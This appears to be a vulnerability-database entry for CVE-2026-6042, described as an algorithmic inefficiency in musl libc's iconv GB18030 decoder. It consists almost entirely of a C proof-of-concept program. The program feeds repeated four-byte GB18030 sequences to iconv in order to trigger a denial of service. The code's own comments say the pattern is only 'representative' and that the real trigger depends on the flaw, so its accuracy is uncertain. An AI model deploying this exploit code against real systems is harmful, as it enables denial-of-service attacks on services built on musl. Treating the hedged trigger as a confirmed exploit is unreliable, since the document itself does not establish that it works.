CVE-2026-6042 musl libc iconv算法效率低下漏洞

#include <iconv.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // PoC for CVE-2026-6042: musl libc iconv GB18030 inefficiency // This code demonstrates the trigger point for the algorithmic complexity issue. int main() { iconv_t cd = iconv_open("UTF-8", "GB18030"); if (cd == (iconv_t)-1) { perror("iconv_open failed"); return 1; } // Construct a payload designed to trigger the inefficient decoding path // The specific sequence depends on the flaw in the 4-byte decoder. // Below is a representative pattern of GB18030 4-byte sequences. char input[1024]; memset(input, 0, sizeof(input)); // Filling with a repetitive pattern that stresses the decoder for (int i = 0; i < 256; i++) { input[i*4] = 0x81; input[i*4+1] = 0x30; input[i*4+2] = 0x81; input[i*4+3] = 0x30; } char outbuf[1024]; char *inptr = input; char *outptr = outbuf; size_t inbytes = sizeof(input); size_t outbytes = sizeof(outbuf); printf("Starting conversion to trigger potential DoS...\n"); size_t result = iconv(cd, &inptr, &inbytes, &outptr, &outbytes); if (result == (size_t)-1) { perror("iconv failed"); } else { printf("Conversion finished.\n"); } iconv_close(cd); return 0; }